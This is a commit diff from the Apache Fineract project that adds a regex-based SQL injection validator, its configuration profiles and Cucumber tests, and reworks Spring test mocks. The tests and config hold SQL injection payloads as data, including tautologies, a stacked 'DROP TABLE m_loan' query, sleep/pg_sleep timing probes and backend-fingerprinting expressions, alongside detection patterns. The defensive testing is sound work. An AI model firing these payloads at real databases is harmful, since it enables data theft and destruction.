FINERACT-2076: SQL query optimization
This commit is contained in:
committed by
Aleksandar Vidakovic
parent
039bca440b
commit
a022a51189
@@ -38,6 +38,7 @@ import org.apache.fineract.infrastructure.core.service.migration.TenantDataSourc
|
||||
import org.apache.fineract.infrastructure.core.service.migration.TenantDatabaseStateVerifier;
|
||||
import org.apache.fineract.infrastructure.core.service.migration.TenantDatabaseUpgradeService;
|
||||
import org.apache.fineract.infrastructure.core.service.tenant.TenantDetailsService;
|
||||
import org.apache.fineract.infrastructure.dataqueries.service.GenericDataService;
|
||||
import org.apache.fineract.infrastructure.jobs.ScheduledJobRunnerConfig;
|
||||
import org.apache.fineract.infrastructure.jobs.service.JobRegisterService;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
@@ -45,7 +46,7 @@ import org.mockito.Mockito;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.mockito.junit.jupiter.MockitoSettings;
|
||||
import org.mockito.quality.Strictness;
|
||||
import org.springframework.batch.core.configuration.ListableJobLocator;
|
||||
import org.springframework.batch.core.configuration.JobRegistry;
|
||||
import org.springframework.batch.core.explore.JobExplorer;
|
||||
import org.springframework.batch.core.launch.JobLauncher;
|
||||
import org.springframework.batch.core.launch.JobOperator;
|
||||
@@ -99,18 +100,6 @@ public class TestConfiguration {
|
||||
};
|
||||
}
|
||||
|
||||
@Primary
|
||||
@Bean
|
||||
public JobExplorer jobExplorer() {
|
||||
return mock(JobExplorer.class, RETURNS_MOCKS);
|
||||
}
|
||||
|
||||
@Primary
|
||||
@Bean
|
||||
public JobLauncher jobLauncher() {
|
||||
return mock(JobLauncher.class, RETURNS_MOCKS);
|
||||
}
|
||||
|
||||
@Primary
|
||||
@Bean
|
||||
public HikariDataSource tenantDataSource() {
|
||||
@@ -189,8 +178,20 @@ public class TestConfiguration {
|
||||
|
||||
@Primary
|
||||
@Bean
|
||||
public ListableJobLocator listableJobLocator() {
|
||||
return mock(ListableJobLocator.class, RETURNS_MOCKS);
|
||||
public JobExplorer jobExplorer() {
|
||||
return mock(JobExplorer.class, RETURNS_MOCKS);
|
||||
}
|
||||
|
||||
@Primary
|
||||
@Bean
|
||||
public JobLauncher jobLauncher() {
|
||||
return mock(JobLauncher.class, RETURNS_MOCKS);
|
||||
}
|
||||
|
||||
@Primary
|
||||
@Bean
|
||||
public JobRegistry jobRegistry() {
|
||||
return mock(JobRegistry.class, RETURNS_MOCKS);
|
||||
}
|
||||
|
||||
@Primary
|
||||
@@ -210,4 +211,10 @@ public class TestConfiguration {
|
||||
public OkHttpClient okHttpClient() {
|
||||
return mock(OkHttpClient.class, RETURNS_MOCKS);
|
||||
}
|
||||
|
||||
@Primary
|
||||
@Bean
|
||||
public GenericDataService genericDataService() {
|
||||
return mock(GenericDataService.class, RETURNS_MOCKS);
|
||||
}
|
||||
}
|
||||
|
||||
+21
-21
@@ -32,31 +32,34 @@ import com.google.gson.JsonObject;
|
||||
import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
import org.apache.fineract.TestConfiguration;
|
||||
import org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException;
|
||||
import org.apache.fineract.infrastructure.core.service.database.DatabaseSpecificSQLGenerator;
|
||||
import org.apache.fineract.infrastructure.core.service.database.DatabaseType;
|
||||
import org.apache.fineract.infrastructure.core.service.database.DatabaseTypeResolver;
|
||||
import org.apache.fineract.infrastructure.dataqueries.data.ResultsetColumnHeaderData;
|
||||
import org.apache.fineract.infrastructure.dataqueries.exception.DatatableNotFoundException;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.mockito.InjectMocks;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.Mockito;
|
||||
import org.mockito.MockitoAnnotations;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.test.context.SpringBootTest;
|
||||
import org.springframework.jdbc.core.JdbcTemplate;
|
||||
import org.springframework.jdbc.support.rowset.SqlRowSet;
|
||||
import org.springframework.test.context.ContextConfiguration;
|
||||
|
||||
@SpringBootTest
|
||||
@ContextConfiguration(classes = TestConfiguration.class)
|
||||
@SuppressFBWarnings(value = "RV_EXCEPTION_NOT_THROWN", justification = "False positive")
|
||||
public class ReadWriteNonCoreDataServiceImplTest {
|
||||
|
||||
@Mock
|
||||
@Autowired
|
||||
private JdbcTemplate jdbcTemplate;
|
||||
|
||||
@Mock
|
||||
@Autowired
|
||||
private GenericDataService genericDataService;
|
||||
|
||||
@Mock
|
||||
@@ -65,17 +68,13 @@ public class ReadWriteNonCoreDataServiceImplTest {
|
||||
@Mock
|
||||
private DatabaseSpecificSQLGenerator sqlGenerator;
|
||||
|
||||
@InjectMocks
|
||||
private ReadWriteNonCoreDataServiceImpl underTest;
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
MockitoAnnotations.openMocks(this);
|
||||
}
|
||||
@Autowired
|
||||
private ReadWriteNonCoreDataService underTest;
|
||||
|
||||
@Test
|
||||
public void testSqlInjectionCaughtQueryDataTable() {
|
||||
mockDatatableValidation();
|
||||
when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
|
||||
|
||||
assertThrows(PlatformApiDataValidationException.class, () -> {
|
||||
underTest.queryDataTable("table", "cf1", "vf1", "' or 1=1");
|
||||
});
|
||||
@@ -83,7 +82,8 @@ public class ReadWriteNonCoreDataServiceImplTest {
|
||||
|
||||
@Test
|
||||
public void testSqlInjectionCaughtQueryDataTable2() {
|
||||
mockDatatableValidation();
|
||||
when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
|
||||
|
||||
assertThrows(PlatformApiDataValidationException.class, () -> {
|
||||
underTest.queryDataTable("table", "cf1", "vf1", "1; DROP TABLE m_loan; SELECT");
|
||||
});
|
||||
@@ -91,8 +91,9 @@ public class ReadWriteNonCoreDataServiceImplTest {
|
||||
|
||||
@Test
|
||||
public void testQueryDataTableSuccess() {
|
||||
mockDatatableValidation();
|
||||
SqlRowSet sqlRS = Mockito.mock(SqlRowSet.class);
|
||||
|
||||
when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
|
||||
when(jdbcTemplate.queryForRowSet(eq("SELECT \"rc1\", \"rc2\" FROM \"table\" WHERE \"cf1\" = ?"), any(Object.class)))
|
||||
.thenReturn(sqlRS);
|
||||
when(sqlRS.next()).thenReturn(true).thenReturn(false);
|
||||
@@ -111,6 +112,7 @@ public class ReadWriteNonCoreDataServiceImplTest {
|
||||
false, dialect);
|
||||
ResultsetColumnHeaderData rc2 = ResultsetColumnHeaderData.detailed("rc2", "text", 10L, false, false, emptyList(), null, false,
|
||||
false, dialect);
|
||||
|
||||
when(genericDataService.fillResultsetColumnHeaders("table")).thenReturn(List.of(cf1, rc1, rc2));
|
||||
|
||||
List<JsonObject> results = underTest.queryDataTable("table", "cf1", "vf1", "rc1,rc2");
|
||||
@@ -121,8 +123,9 @@ public class ReadWriteNonCoreDataServiceImplTest {
|
||||
|
||||
@Test
|
||||
public void testQueryDataTableValidationError() {
|
||||
mockDatatableValidation();
|
||||
when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
|
||||
when(genericDataService.fillResultsetColumnHeaders("table")).thenReturn(emptyList());
|
||||
|
||||
assertThrows(PlatformApiDataValidationException.class, () -> underTest.queryDataTable("table", "cf1", "vf1", "rc1,rc2"));
|
||||
}
|
||||
|
||||
@@ -136,8 +139,9 @@ public class ReadWriteNonCoreDataServiceImplTest {
|
||||
@ParameterizedTest
|
||||
@MethodSource("provideParameters")
|
||||
public void testQueryDataTableInvalidParameterError(String columnType, String errorMessage) {
|
||||
mockDatatableValidation();
|
||||
when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
|
||||
when(databaseTypeResolver.databaseType()).thenReturn(DatabaseType.POSTGRESQL);
|
||||
|
||||
DatabaseType dialect = databaseTypeResolver.databaseType();
|
||||
ResultsetColumnHeaderData cf1 = ResultsetColumnHeaderData.detailed("cf1", columnType, 10L, false, false, emptyList(), null, false,
|
||||
false, dialect);
|
||||
@@ -154,10 +158,6 @@ public class ReadWriteNonCoreDataServiceImplTest {
|
||||
assertEquals(errorMessage, thrown.getErrors().get(0).getUserMessageGlobalisationCode());
|
||||
}
|
||||
|
||||
private void mockDatatableValidation() {
|
||||
when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
|
||||
}
|
||||
|
||||
private static Stream<Arguments> provideParameters() {
|
||||
return Stream.of(Arguments.of("timestamp without time zone", "validation.msg.invalid.dateFormat.format"),
|
||||
Arguments.of("INTEGER", "validation.msg.invalid.integer.format"),
|
||||
|
||||
-149
@@ -1,149 +0,0 @@
|
||||
/**
|
||||
* Licensed to the Apache Software Foundation (ASF) under one
|
||||
* or more contributor license agreements. See the NOTICE file
|
||||
* distributed with this work for additional information
|
||||
* regarding copyright ownership. The ASF licenses this file
|
||||
* to you under the Apache License, Version 2.0 (the
|
||||
* "License"); you may not use this file except in compliance
|
||||
* with the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing,
|
||||
* software distributed under the License is distributed on an
|
||||
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
|
||||
* KIND, either express or implied. See the License for the
|
||||
* specific language governing permissions and limitations
|
||||
* under the License.
|
||||
*/
|
||||
package org.apache.fineract.infrastructure.security.utils;
|
||||
|
||||
import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
|
||||
import java.util.Arrays;
|
||||
import org.junit.jupiter.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
@SuppressFBWarnings(value = "RV_EXCEPTION_NOT_THROWN", justification = "False positive")
|
||||
public class SQLInjectionValidatorTest {
|
||||
|
||||
private static final String[] DDL_COMMANDS = { "create", "drop", "alter", "truncate", "comment", "sleep" };
|
||||
private static final String[] DML_COMMANDS = { "select", "insert", "update", "delete", "merge", "upsert", "call" };
|
||||
private static final String[] COMMENTS = { "--", "({", "/*", "#" };
|
||||
|
||||
@Test
|
||||
public void testValidateSqlInputQuote() {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateSQLInput("' or 1=1");
|
||||
});
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testValidateSqlInputSemicolon() {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateSQLInput("; drop table foo;");
|
||||
});
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testValidateAdhocQueryQuote() {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateAdhocQuery("' or 1=1");
|
||||
});
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testValidateAdhocQuerySemicolon() {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateAdhocQuery("; drop table foo;");
|
||||
});
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testValidateDynamicQueryQuote() {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateDynamicQuery("' or 1=1");
|
||||
});
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testValidateDynamicQuerySemicolon() {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateDynamicQuery("; drop table foo;");
|
||||
});
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testValidateSqlLInputReservedWords() {
|
||||
Arrays.asList(DDL_COMMANDS).forEach(ddl -> {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateSQLInput(ddl);
|
||||
});
|
||||
});
|
||||
|
||||
Arrays.asList(DML_COMMANDS).forEach(dml -> {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateSQLInput(dml);
|
||||
});
|
||||
});
|
||||
|
||||
Arrays.asList(COMMENTS).forEach(comment -> {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateSQLInput(comment);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testValidateAdhocQueryReservedWords() {
|
||||
Arrays.asList(DDL_COMMANDS).forEach(ddl -> {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateAdhocQuery(ddl);
|
||||
});
|
||||
});
|
||||
|
||||
// left out intentionally from adhocquery validation?
|
||||
// Arrays.asList(DML_COMMANDS).forEach(dml -> {
|
||||
// Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
// SQLInjectionValidator.validateAdhocQuery(dml);
|
||||
// });
|
||||
// });
|
||||
|
||||
Arrays.asList(COMMENTS).forEach(comment -> {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateAdhocQuery(comment);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testValidateDynamicQueryReservedWords() {
|
||||
Arrays.asList(DDL_COMMANDS).forEach(ddl -> {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateDynamicQuery(ddl);
|
||||
});
|
||||
});
|
||||
|
||||
Arrays.asList(DML_COMMANDS).forEach(dml -> {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateDynamicQuery(dml);
|
||||
});
|
||||
});
|
||||
|
||||
Arrays.asList(COMMENTS).forEach(comment -> {
|
||||
Assertions.assertThrows(SQLInjectionException.class, () -> {
|
||||
SQLInjectionValidator.validateDynamicQuery(comment);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testValidateDynamicQueryColon() {
|
||||
SQLInjectionValidator.validateDynamicQuery("2022-10-13 18:40:21");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testValidateDynamicQueryReservedWordsInsideValue() {
|
||||
Arrays.asList(DDL_COMMANDS).forEach(ddl -> SQLInjectionValidator.validateDynamicQuery("foo" + ddl));
|
||||
Arrays.asList(DML_COMMANDS).forEach(dml -> SQLInjectionValidator.validateDynamicQuery("foo" + dml));
|
||||
}
|
||||
}
|
||||
+74
@@ -0,0 +1,74 @@
|
||||
/**
|
||||
* Licensed to the Apache Software Foundation (ASF) under one
|
||||
* or more contributor license agreements. See the NOTICE file
|
||||
* distributed with this work for additional information
|
||||
* regarding copyright ownership. The ASF licenses this file
|
||||
* to you under the Apache License, Version 2.0 (the
|
||||
* "License"); you may not use this file except in compliance
|
||||
* with the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing,
|
||||
* software distributed under the License is distributed on an
|
||||
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
|
||||
* KIND, either express or implied. See the License for the
|
||||
* specific language governing permissions and limitations
|
||||
* under the License.
|
||||
*/
|
||||
package org.apache.fineract.infrastructure.security.utils;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
import io.cucumber.java8.En;
|
||||
import org.apache.commons.lang3.RandomStringUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.apache.fineract.infrastructure.security.exception.SqlValidationException;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.junit.jupiter.api.Assertions;
|
||||
import org.junit.jupiter.api.function.Executable;
|
||||
import org.slf4j.Logger;
|
||||
import org.slf4j.LoggerFactory;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
|
||||
public class SqlValidatorStepDefinitions implements En {
|
||||
|
||||
private static final Logger log = LoggerFactory.getLogger(SqlValidatorStepDefinitions.class);
|
||||
|
||||
@Autowired
|
||||
private SqlValidator sqlValidator;
|
||||
|
||||
private Executable executable;
|
||||
private String statement;
|
||||
private Integer fuzzy = 0;
|
||||
|
||||
public SqlValidatorStepDefinitions() {
|
||||
Given("/^A partial SQL statement (.*) with whitespaces fuzzy degree (\\d*)$/", (String statement, Integer fuzzy) -> {
|
||||
this.statement = statement;
|
||||
if (fuzzy != null) {
|
||||
this.fuzzy = fuzzy;
|
||||
}
|
||||
});
|
||||
|
||||
When("Validating the partial statement", () -> {
|
||||
if (fuzzy != null && fuzzy > 0) {
|
||||
String whitespaces = RandomStringUtils.random(fuzzy, '\n', '\r', '\t', ' ');
|
||||
statement = statement.replaceAll(" ", whitespaces);
|
||||
}
|
||||
|
||||
executable = () -> sqlValidator.validate(statement);
|
||||
});
|
||||
|
||||
Then("/^The validator had exception message (.*)$/", (String expectedMessage) -> {
|
||||
if (StringUtils.isBlank(expectedMessage)) {
|
||||
Assertions.assertDoesNotThrow(executable);
|
||||
} else {
|
||||
var exception = Assertions.assertThrows(SqlValidationException.class, executable);
|
||||
|
||||
assertEquals(expectedMessage, exception.getMessage());
|
||||
|
||||
// log.info("Validator message: {}", exception.getMessage());
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -99,6 +99,103 @@ fineract.sampling.sampledClasses=
|
||||
|
||||
fineract.module.investor.enabled=true
|
||||
|
||||
# sql validation
|
||||
|
||||
# inject-blind
|
||||
fineract.sql-validation.patterns[0].name=inject-blind
|
||||
fineract.sql-validation.patterns[0].pattern=(?i).*[\\"'`]?\\s*[and|or]+\\s*[\\"'`]?([\\d\\w])+[\\"'`]?\\s*=\\s*[\\"'`]?(\\1)[\\"'`]?\\s*.*
|
||||
|
||||
# detect-entry-point
|
||||
fineract.sql-validation.patterns[1].name=detect-entry-point
|
||||
fineract.sql-validation.patterns[1].pattern=(?i)^[\\"'`]?[\\)\\s]+
|
||||
|
||||
# inject-timing
|
||||
fineract.sql-validation.patterns[2].name=inject-timing
|
||||
fineract.sql-validation.patterns[2].pattern=(?i).*[\\"'`]?\\s*[and|\\+|&|\\|]+.*\\s*[sleep|pg_sleep|benchmark]+\\s*(\\(\\s*\\d+\\s*[,]?\\s*.*\\s*\\))+.*
|
||||
|
||||
# detect-backend
|
||||
fineract.sql-validation.patterns[3].name=detect-backend
|
||||
fineract.sql-validation.patterns[3].pattern=(?i).*\\[\\s*\\"(\\w+\\(.*\\))=(\\1)\\"\\s*,\\s*\\"\\w+\\"\\s*\\].*
|
||||
|
||||
# detect-column
|
||||
fineract.sql-validation.patterns[4].name=detect-column
|
||||
fineract.sql-validation.patterns[4].pattern=(?i).*[\\"'`]?\\s*(order\\s*by|group\\s*by|union\\s*select)+\\s+([\\d+|null]?\\s*,*\\s*)+\\s*.*
|
||||
|
||||
# detect-out-of-bands
|
||||
fineract.sql-validation.patterns[5].name=detect-out-of-bands
|
||||
fineract.sql-validation.patterns[5].pattern=(?i).*(select)+\\s+(load_file)+.*
|
||||
|
||||
# inject-stacked-query
|
||||
fineract.sql-validation.patterns[6].name=inject-stacked-query
|
||||
fineract.sql-validation.patterns[6].pattern=(?i).*[;]+\\s*(create|drop|alter|truncate|comment|select|insert|update|delete|merge|upsert|call|exec)+.*(from|into|set|table|column|database)*.*
|
||||
|
||||
# inject-comment
|
||||
fineract.sql-validation.patterns[7].name=inject-comment
|
||||
fineract.sql-validation.patterns[7].pattern=(?i).*\\s+(-|/\\*|#|\\(\\{)++.*
|
||||
|
||||
# main
|
||||
fineract.sql-validation.profiles[0].name=main
|
||||
fineract.sql-validation.profiles[0].description=Main Query Validation Profile
|
||||
fineract.sql-validation.profiles[0].patternRefs[0].name=inject-blind
|
||||
fineract.sql-validation.profiles[0].patternRefs[0].order=0
|
||||
fineract.sql-validation.profiles[0].patternRefs[1].name=detect-entry-point
|
||||
fineract.sql-validation.profiles[0].patternRefs[1].order=1
|
||||
fineract.sql-validation.profiles[0].patternRefs[2].name=inject-timing
|
||||
fineract.sql-validation.profiles[0].patternRefs[2].order=2
|
||||
fineract.sql-validation.profiles[0].patternRefs[3].name=detect-backend
|
||||
fineract.sql-validation.profiles[0].patternRefs[3].order=3
|
||||
fineract.sql-validation.profiles[0].patternRefs[4].name=detect-column
|
||||
fineract.sql-validation.profiles[0].patternRefs[4].order=4
|
||||
fineract.sql-validation.profiles[0].patternRefs[5].name=detect-out-of-bands
|
||||
fineract.sql-validation.profiles[0].patternRefs[5].order=5
|
||||
fineract.sql-validation.profiles[0].patternRefs[6].name=inject-stacked-query
|
||||
fineract.sql-validation.profiles[0].patternRefs[6].order=6
|
||||
fineract.sql-validation.profiles[0].patternRefs[7].name=inject-comment
|
||||
fineract.sql-validation.profiles[0].patternRefs[7].order=7
|
||||
fineract.sql-validation.profiles[0].enabled=true
|
||||
|
||||
# adhoc
|
||||
fineract.sql-validation.profiles[1].name=adhoc
|
||||
fineract.sql-validation.profiles[1].description=Adhoc Query Validation Profile
|
||||
fineract.sql-validation.profiles[1].patternRefs[0].name=inject-blind
|
||||
fineract.sql-validation.profiles[1].patternRefs[0].order=0
|
||||
fineract.sql-validation.profiles[1].patternRefs[1].name=detect-entry-point
|
||||
fineract.sql-validation.profiles[1].patternRefs[1].order=1
|
||||
fineract.sql-validation.profiles[1].patternRefs[2].name=inject-timing
|
||||
fineract.sql-validation.profiles[1].patternRefs[2].order=2
|
||||
fineract.sql-validation.profiles[1].patternRefs[3].name=detect-backend
|
||||
fineract.sql-validation.profiles[1].patternRefs[3].order=3
|
||||
fineract.sql-validation.profiles[1].patternRefs[4].name=detect-column
|
||||
fineract.sql-validation.profiles[1].patternRefs[4].order=4
|
||||
fineract.sql-validation.profiles[1].patternRefs[5].name=detect-out-of-bands
|
||||
fineract.sql-validation.profiles[1].patternRefs[5].order=5
|
||||
fineract.sql-validation.profiles[1].patternRefs[6].name=inject-stacked-query
|
||||
fineract.sql-validation.profiles[1].patternRefs[6].order=6
|
||||
fineract.sql-validation.profiles[1].patternRefs[7].name=inject-comment
|
||||
fineract.sql-validation.profiles[1].patternRefs[7].order=7
|
||||
fineract.sql-validation.profiles[1].enabled=true
|
||||
|
||||
# dynamic
|
||||
fineract.sql-validation.profiles[2].name=dynamic
|
||||
fineract.sql-validation.profiles[2].description=Dynamic Query Validation Profile
|
||||
fineract.sql-validation.profiles[2].patternRefs[0].name=inject-blind
|
||||
fineract.sql-validation.profiles[2].patternRefs[0].order=0
|
||||
fineract.sql-validation.profiles[2].patternRefs[1].name=detect-entry-point
|
||||
fineract.sql-validation.profiles[2].patternRefs[1].order=1
|
||||
fineract.sql-validation.profiles[2].patternRefs[2].name=inject-timing
|
||||
fineract.sql-validation.profiles[2].patternRefs[2].order=2
|
||||
fineract.sql-validation.profiles[2].patternRefs[3].name=detect-backend
|
||||
fineract.sql-validation.profiles[2].patternRefs[3].order=3
|
||||
fineract.sql-validation.profiles[2].patternRefs[4].name=detect-column
|
||||
fineract.sql-validation.profiles[2].patternRefs[4].order=4
|
||||
fineract.sql-validation.profiles[2].patternRefs[5].name=detect-out-of-bands
|
||||
fineract.sql-validation.profiles[2].patternRefs[5].order=5
|
||||
fineract.sql-validation.profiles[2].patternRefs[6].name=inject-stacked-query
|
||||
fineract.sql-validation.profiles[2].patternRefs[6].order=6
|
||||
fineract.sql-validation.profiles[2].patternRefs[7].name=inject-comment
|
||||
fineract.sql-validation.profiles[2].patternRefs[7].order=7
|
||||
fineract.sql-validation.profiles[2].enabled=true
|
||||
|
||||
management.health.jms.enabled=false
|
||||
|
||||
# FINERACT 1296
|
||||
|
||||
+108
@@ -0,0 +1,108 @@
|
||||
#
|
||||
# Licensed to the Apache Software Foundation (ASF) under one
|
||||
# or more contributor license agreements. See the NOTICE file
|
||||
# distributed with this work for additional information
|
||||
# regarding copyright ownership. The ASF licenses this file
|
||||
# to you under the Apache License, Version 2.0 (the
|
||||
# "License"); you may not use this file except in compliance
|
||||
# with the License. You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing,
|
||||
# software distributed under the License is distributed on an
|
||||
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
|
||||
# KIND, either express or implied. See the License for the
|
||||
# specific language governing permissions and limitations
|
||||
# under the License.
|
||||
#
|
||||
|
||||
Feature: Security Utils SQL validator
|
||||
|
||||
@security
|
||||
Scenario Outline: Verify that detects all configured SQL injection patterns
|
||||
Given A partial SQL statement <statement> with whitespaces fuzzy degree <fuzzy>
|
||||
When Validating the partial statement
|
||||
Then The validator had exception message <exception>
|
||||
|
||||
Examples:
|
||||
| statement | fuzzy | exception |
|
||||
| or 'a' = 'a' | 36 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| ' or 'a' = 'a' | 12 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| or 'a' = 'a' -- | 27 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| or 'a' = 'a' /* | 17 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| abc' Or 'a' = 'a' /* | 19 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| OR 1 = 1 | 36 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| ' or 1 = 1 | 17 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| or 1 = 1 ----- | 57 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| or 1 = 1 /* | 11 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
|
||||
| 123 | 0 | |
|
||||
| 2.59 | 0 | |
|
||||
| abc123xyz | 0 | |
|
||||
| true | 0 | |
|
||||
| [2024, 4, 21] | 7 | |
|
||||
| ["abc", "def", "ghi", "jkl", "mno"] | 7 | |
|
||||
| ') | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| ')) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| '))) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| `) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| `) ) | 19 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| `))) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| `) )))) ))))) ))) )) | 23 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| ") | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| ")) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| "))) | 19 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
|
||||
| 1' + sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| 1' and Sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| 1' && sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| 1' \| SLEEP(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| 1' \|\| sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| 1' \|\| pg_sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| abc' && benchmark( 400000 , sha1(1) ) | 17 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| 1' and if(1=1, sleep(15), false) | 19 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A') # | 19 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
|
||||
| ["connection_id()=connection_id()" ,"MYSQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
|
||||
| ["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
|
||||
| ["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
|
||||
| ["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
|
||||
| ["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
|
||||
| ["current_database()=current_database()" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
|
||||
| 1' ORDER by 1 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' ORDER BY 1, 2 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' ORDER BY 1, 2, 3 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
